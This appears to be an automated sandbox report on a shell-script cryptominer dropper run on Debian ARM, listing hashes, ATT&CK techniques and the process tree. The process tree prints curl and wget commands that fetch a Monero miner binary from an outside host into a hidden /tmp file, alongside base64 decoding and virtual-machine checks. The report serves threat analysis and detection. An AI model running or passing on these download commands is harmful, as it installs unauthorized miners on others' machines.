356bb44f53395ece9799a89f4e62ddea6d6fde1f7704eef2b0b00b559bbefcc0

Analysis

max time kernel
146s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/06/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_356bb44f53395ece9799a89f4e62ddea6d6fde1f7704eef2b0b00b559bbefcc0.sh
Size 2KB
Sample260619-sd8lcsat4t
SHA256 356bb44f53395ece9799a89f4e62ddea6d6fde1f7704eef2b0b00b559bbefcc0
MD5 f13a5dbf4fce7b8d5dbf4925b0491129
SHA1 7fed6a0eeadb3b04500bcf650df6eb0651a42b4d
SHA512 f58dde9bdd3bfa1d097f498affe9154cab394f9abea339ed56370fed0e832bd9ab0c887690991988a06ea64c4a58850396cbf6468427ff586e39a2827badff4b
TLSH
T17E51FDD6F9E2283335AA082E7655A04DE68759330A1D7845B09DB430BF781BEF13A729
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm defense_evasion discovery

Malware Config

Signatures

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
648	base64

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	wget

/tmp/_356bb44f53395ece9799a89f4e62ddea6d6fde1f7704eef2b0b00b559bbefcc0.sh
/tmp/_356bb44f53395ece9799a89f4e62ddea6d6fde1f7704eef2b0b00b559bbefcc0.sh
1⤵
PID:644
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:648
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:649
- /bin/uname
  uname -m
  2⤵
  PID:653
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://packageguard.mytunnel.org/monero.arm7 -o /tmp/.m_http
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:655
- /usr/bin/wget
  wget -q "--timeout=10" http://packageguard.mytunnel.org/monero.arm7 -O /tmp/.m_http
  2⤵
  - Writes file to tmp directory
  PID:753

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads